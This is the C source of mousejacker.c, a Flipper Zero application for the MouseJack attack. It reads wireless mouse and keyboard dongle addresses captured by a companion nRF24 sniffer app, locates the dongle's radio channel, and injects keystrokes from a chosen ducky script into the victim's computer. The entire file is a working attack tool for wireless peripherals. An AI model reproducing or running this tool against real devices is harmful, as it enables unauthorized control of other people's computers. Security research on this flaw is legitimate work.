mousejacker.c 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403
  1. #include <furi.h>
  2. #include <gui/gui.h>
  3. #include <dialogs/dialogs.h>
  4. #include <input/input.h>
  5. #include <stdlib.h>
  6. #include <furi_hal.h>
  7. #include <furi_hal_gpio.h>
  8. #include <furi_hal_spi.h>
  9. #include <furi_hal_interrupt.h>
  10. #include <furi_hal_resources.h>
  11. #include <nrf24.h>
  12. #include "mousejacker_ducky.h"
  13. #include "NRF24_Mouse_Jacker_icons.h"
  14. #include "stdstring.h"
  15. #define TAG "mousejacker"
  16. #define MICROSOFT_MIN_CHANNEL 49
  17. #define LOGITECH_MAX_CHANNEL 85
  18. #define NRFSNIFF_APP_PATH_FOLDER "/ext/apps_data/nrf24_sniffer_ms"
  19. #define NRFSNIFF_APP_PATH_EXTENSION ".txt"
  20. #define NRFSNIFF_APP_FILENAME "addresses.txt"
  21. #define MOUSEJACKER_APP_PATH_FOLDER "/ext/mousejacker"
  22. #define MOUSEJACKER_APP_PATH_EXTENSION ".txt"
  23. #define MAX_ADDRS 100
  24. typedef enum {
  25. EventTypeTick,
  26. EventTypeKey,
  27. } EventType;
  28. typedef struct {
  29. EventType type;
  30. InputEvent input;
  31. } PluginEvent;
  32. uint8_t addrs_count = 0;
  33. uint8_t addr_idx = 0;
  34. uint8_t loaded_addrs[MAX_ADDRS][6]; // first byte is rate, the rest are the address
  35. char target_fmt_text[] = "Target addr: %s";
  36. char target_address_str[12] = "None";
  37. char target_text[30];
  38. static void render_callback(Canvas* const canvas, void* ctx) {
  39. furi_assert(ctx);
  40. const PluginState* plugin_state = ctx;
  41. furi_mutex_acquire(plugin_state->mutex, FuriWaitForever);
  42. // border around the edge of the screen
  43. canvas_draw_frame(canvas, 0, 0, 128, 64);
  44. canvas_set_font(canvas, FontSecondary);
  45. if(!plugin_state->addr_err && !plugin_state->ducky_err && !plugin_state->is_thread_running &&
  46. !plugin_state->is_ducky_running) {
  47. snprintf(target_text, sizeof(target_text), target_fmt_text, target_address_str);
  48. canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text);
  49. canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->");
  50. canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Press Ok button to ");
  51. canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, "browse for ducky script");
  52. } else if(plugin_state->addr_err) {
  53. canvas_draw_str_aligned(
  54. canvas, 10, 10, AlignLeft, AlignBottom, "Error: No nrfsniff folder");
  55. canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or addresses.txt file");
  56. canvas_draw_str_aligned(
  57. canvas, 10, 30, AlignLeft, AlignBottom, "loading error / empty file");
  58. canvas_draw_str_aligned(
  59. canvas, 7, 40, AlignLeft, AlignBottom, "Run (NRF24: Sniff) app first!");
  60. } else if(plugin_state->ducky_err) {
  61. canvas_draw_str_aligned(
  62. canvas, 3, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder");
  63. canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "or duckyscript file");
  64. canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "loading error");
  65. } else if(plugin_state->is_thread_running && !plugin_state->is_ducky_running) {
  66. canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Loading...");
  67. canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!");
  68. } else if(plugin_state->is_thread_running && plugin_state->is_ducky_running) {
  69. canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Running duckyscript");
  70. canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "Please wait!");
  71. canvas_draw_str_aligned(
  72. canvas, 3, 30, AlignLeft, AlignBottom, "Press back to exit (if it stuck)");
  73. } else {
  74. canvas_draw_str_aligned(canvas, 3, 10, AlignLeft, AlignBottom, "Unknown Error");
  75. canvas_draw_str_aligned(canvas, 3, 20, AlignLeft, AlignBottom, "press back");
  76. canvas_draw_str_aligned(canvas, 3, 30, AlignLeft, AlignBottom, "to exit");
  77. }
  78. furi_mutex_release(plugin_state->mutex);
  79. }
  80. static void input_callback(InputEvent* input_event, void* ctx) {
  81. furi_assert(ctx);
  82. FuriMessageQueue* event_queue = ctx;
  83. PluginEvent event = {.type = EventTypeKey, .input = *input_event};
  84. furi_message_queue_put(event_queue, &event, FuriWaitForever);
  85. }
  86. static void mousejacker_state_init(PluginState* const plugin_state) {
  87. plugin_state->is_thread_running = false;
  88. }
  89. static void hexlify(uint8_t* in, uint8_t size, char* out) {
  90. memset(out, 0, size * 2);
  91. for(int i = 0; i < size; i++)
  92. snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
  93. }
  94. static bool open_ducky_script(Stream* stream, PluginState* plugin_state) {
  95. DialogsApp* dialogs = furi_record_open("dialogs");
  96. bool result = false;
  97. FuriString* path;
  98. path = furi_string_alloc();
  99. furi_string_set(path, MOUSEJACKER_APP_PATH_FOLDER);
  100. DialogsFileBrowserOptions browser_options;
  101. dialog_file_browser_set_basic_options(
  102. &browser_options, MOUSEJACKER_APP_PATH_EXTENSION, &I_badusb_10px);
  103. browser_options.hide_ext = false;
  104. bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options);
  105. furi_record_close("dialogs");
  106. if(ret) {
  107. if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  108. FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path));
  109. } else {
  110. result = true;
  111. }
  112. }
  113. furi_string_free(path);
  114. plugin_state->is_ducky_running = true;
  115. return result;
  116. }
  117. static bool open_addrs_file(Stream* stream) {
  118. DialogsApp* dialogs = furi_record_open("dialogs");
  119. bool result = false;
  120. FuriString* path;
  121. path = furi_string_alloc();
  122. furi_string_set(path, NRFSNIFF_APP_PATH_FOLDER);
  123. DialogsFileBrowserOptions browser_options;
  124. dialog_file_browser_set_basic_options(
  125. &browser_options, NRFSNIFF_APP_PATH_EXTENSION, &I_sub1_10px);
  126. browser_options.hide_ext = false;
  127. bool ret = dialog_file_browser_show(dialogs, path, path, &browser_options);
  128. furi_record_close("dialogs");
  129. if(ret) {
  130. if(!file_stream_open(stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
  131. FURI_LOG_D(TAG, "Cannot open file \"%s\"", furi_string_get_cstr(path));
  132. } else {
  133. result = true;
  134. }
  135. }
  136. furi_string_free(path);
  137. return result;
  138. }
  139. static bool process_ducky_file(
  140. Stream* file_stream,
  141. uint8_t* addr,
  142. uint8_t addr_size,
  143. uint8_t rate,
  144. PluginState* plugin_state) {
  145. size_t file_size = 0;
  146. size_t bytes_read = 0;
  147. uint8_t* file_buf;
  148. bool loaded = false;
  149. FURI_LOG_D(TAG, "opening ducky script");
  150. if(open_ducky_script(file_stream, plugin_state)) {
  151. file_size = stream_size(file_stream);
  152. if(file_size == (size_t)0) {
  153. FURI_LOG_D(TAG, "load failed. file_size: %d", file_size);
  154. plugin_state->is_ducky_running = false;
  155. return loaded;
  156. }
  157. file_buf = malloc(file_size);
  158. memset(file_buf, 0, file_size);
  159. bytes_read = stream_read(file_stream, file_buf, file_size);
  160. if(bytes_read == file_size) {
  161. FURI_LOG_D(TAG, "executing ducky script");
  162. mj_process_ducky_script(
  163. nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf, plugin_state);
  164. FURI_LOG_D(TAG, "finished execution");
  165. loaded = true;
  166. } else {
  167. FURI_LOG_D(TAG, "load failed. file size: %d", file_size);
  168. }
  169. free(file_buf);
  170. }
  171. plugin_state->is_ducky_running = false;
  172. return loaded;
  173. }
  174. static bool load_addrs_file(Stream* file_stream) {
  175. size_t file_size = 0;
  176. size_t bytes_read = 0;
  177. uint8_t* file_buf;
  178. char* line_ptr;
  179. uint8_t rate;
  180. uint8_t addrlen = 0;
  181. uint32_t counter = 0;
  182. uint8_t addr[5] = {0};
  183. uint32_t i_addr_lo = 0;
  184. uint32_t i_addr_hi = 0;
  185. bool loaded = false;
  186. FURI_LOG_D(TAG, "opening addrs file");
  187. addrs_count = 0;
  188. if(open_addrs_file(file_stream)) {
  189. file_size = stream_size(file_stream);
  190. if(file_size == (size_t)0) {
  191. FURI_LOG_D(TAG, "load failed. file_size: %d", file_size);
  192. return loaded;
  193. }
  194. file_buf = malloc(file_size);
  195. memset(file_buf, 0, file_size);
  196. bytes_read = stream_read(file_stream, file_buf, file_size);
  197. if(bytes_read == file_size) {
  198. FURI_LOG_D(TAG, "loading addrs file");
  199. char* line = nrf_strtok((char*)file_buf, "\n");
  200. while(line != NULL) {
  201. line_ptr = strstr((char*)line, ",");
  202. *line_ptr = 0;
  203. rate = atoi(line_ptr + 1);
  204. addrlen = (uint8_t)(strlen(line) / 2);
  205. i_addr_lo = strtoul(line + 2, NULL, 16);
  206. line[2] = (char)0;
  207. i_addr_hi = strtoul(line, NULL, 16);
  208. int32_to_bytes(i_addr_lo, &addr[1], true);
  209. addr[0] = (uint8_t)(i_addr_hi & 0xFF);
  210. memset(loaded_addrs[counter], rate, 1);
  211. memcpy(&loaded_addrs[counter++][1], addr, addrlen);
  212. addrs_count++;
  213. line = nrf_strtok(NULL, "\n");
  214. loaded = true;
  215. }
  216. } else {
  217. FURI_LOG_D(TAG, "load failed. file size: %d", file_size);
  218. }
  219. free(file_buf);
  220. }
  221. return loaded;
  222. }
  223. // entrypoint for worker
  224. static int32_t mj_worker_thread(void* ctx) {
  225. PluginState* plugin_state = ctx;
  226. bool ducky_ok = false;
  227. if(!plugin_state->addr_err) {
  228. plugin_state->is_thread_running = true;
  229. plugin_state->file_stream = file_stream_alloc(plugin_state->storage);
  230. nrf24_find_channel(
  231. nrf24_HANDLE,
  232. loaded_addrs[addr_idx] + 1,
  233. loaded_addrs[addr_idx] + 1,
  234. 5,
  235. loaded_addrs[addr_idx][0],
  236. 2,
  237. //MICROSOFT_MIN_CHANNEL,
  238. LOGITECH_MAX_CHANNEL,
  239. true);
  240. ducky_ok = process_ducky_file(
  241. plugin_state->file_stream,
  242. loaded_addrs[addr_idx] + 1,
  243. 5,
  244. loaded_addrs[addr_idx][0],
  245. plugin_state);
  246. if(!ducky_ok) {
  247. plugin_state->ducky_err = true;
  248. } else {
  249. plugin_state->ducky_err = false;
  250. }
  251. stream_free(plugin_state->file_stream);
  252. }
  253. plugin_state->is_thread_running = false;
  254. return 0;
  255. }
  256. void start_mjthread(PluginState* plugin_state) {
  257. if(!plugin_state->is_thread_running) {
  258. furi_thread_start(plugin_state->mjthread);
  259. }
  260. }
  261. int32_t mousejacker_app(void* p) {
  262. UNUSED(p);
  263. FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
  264. PluginState* plugin_state = malloc(sizeof(PluginState));
  265. mousejacker_state_init(plugin_state);
  266. plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
  267. if(!plugin_state->mutex) {
  268. FURI_LOG_E("mousejacker", "cannot create mutex\r\n");
  269. furi_message_queue_free(event_queue);
  270. free(plugin_state);
  271. return 255;
  272. }
  273. // Set system callbacks
  274. ViewPort* view_port = view_port_alloc();
  275. view_port_draw_callback_set(view_port, render_callback, plugin_state);
  276. view_port_input_callback_set(view_port, input_callback, event_queue);
  277. // Open GUI and register view_port
  278. Gui* gui = furi_record_open(RECORD_GUI);
  279. gui_add_view_port(gui, view_port, GuiLayerFullscreen);
  280. plugin_state->storage = furi_record_open(RECORD_STORAGE);
  281. storage_common_mkdir(plugin_state->storage, MOUSEJACKER_APP_PATH_FOLDER);
  282. plugin_state->file_stream = file_stream_alloc(plugin_state->storage);
  283. plugin_state->mjthread = furi_thread_alloc();
  284. furi_thread_set_name(plugin_state->mjthread, "MJ Worker");
  285. furi_thread_set_stack_size(plugin_state->mjthread, 2048);
  286. furi_thread_set_context(plugin_state->mjthread, plugin_state);
  287. furi_thread_set_callback(plugin_state->mjthread, mj_worker_thread);
  288. // spawn load file dialog to choose sniffed addresses file
  289. if(load_addrs_file(plugin_state->file_stream)) {
  290. addr_idx = 0;
  291. hexlify(&loaded_addrs[addr_idx][1], 5, target_address_str);
  292. plugin_state->addr_err = false;
  293. } else {
  294. plugin_state->addr_err = true;
  295. }
  296. stream_free(plugin_state->file_stream);
  297. nrf24_init();
  298. PluginEvent event;
  299. for(bool processing = true; processing;) {
  300. FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
  301. furi_mutex_acquire(plugin_state->mutex, FuriWaitForever);
  302. if(event_status == FuriStatusOk) {
  303. // press events
  304. if(event.type == EventTypeKey) {
  305. if(event.input.type == InputTypePress) {
  306. switch(event.input.key) {
  307. case InputKeyUp:
  308. break;
  309. case InputKeyDown:
  310. break;
  311. case InputKeyRight:
  312. if(!plugin_state->addr_err) {
  313. addr_idx++;
  314. if(addr_idx > addrs_count) addr_idx = 0;
  315. hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
  316. }
  317. break;
  318. case InputKeyLeft:
  319. if(!plugin_state->addr_err) {
  320. addr_idx--;
  321. if(addr_idx == 0) addr_idx = addrs_count - 1;
  322. hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
  323. }
  324. break;
  325. case InputKeyOk:
  326. if(!plugin_state->addr_err) {
  327. if(!plugin_state->is_thread_running) {
  328. start_mjthread(plugin_state);
  329. view_port_update(view_port);
  330. }
  331. }
  332. break;
  333. case InputKeyBack:
  334. plugin_state->close_thread_please = true;
  335. if(plugin_state->is_thread_running && plugin_state->mjthread) {
  336. furi_thread_join(
  337. plugin_state->mjthread); // wait until thread is finished
  338. }
  339. plugin_state->close_thread_please = false;
  340. processing = false;
  341. break;
  342. default:
  343. break;
  344. }
  345. }
  346. }
  347. }
  348. view_port_update(view_port);
  349. furi_mutex_release(plugin_state->mutex);
  350. }
  351. furi_thread_free(plugin_state->mjthread);
  352. nrf24_deinit();
  353. view_port_enabled_set(view_port, false);
  354. gui_remove_view_port(gui, view_port);
  355. furi_record_close(RECORD_GUI);
  356. furi_record_close(RECORD_STORAGE);
  357. view_port_free(view_port);
  358. furi_message_queue_free(event_queue);
  359. furi_mutex_free(plugin_state->mutex);
  360. free(plugin_state);
  361. return 0;
  362. }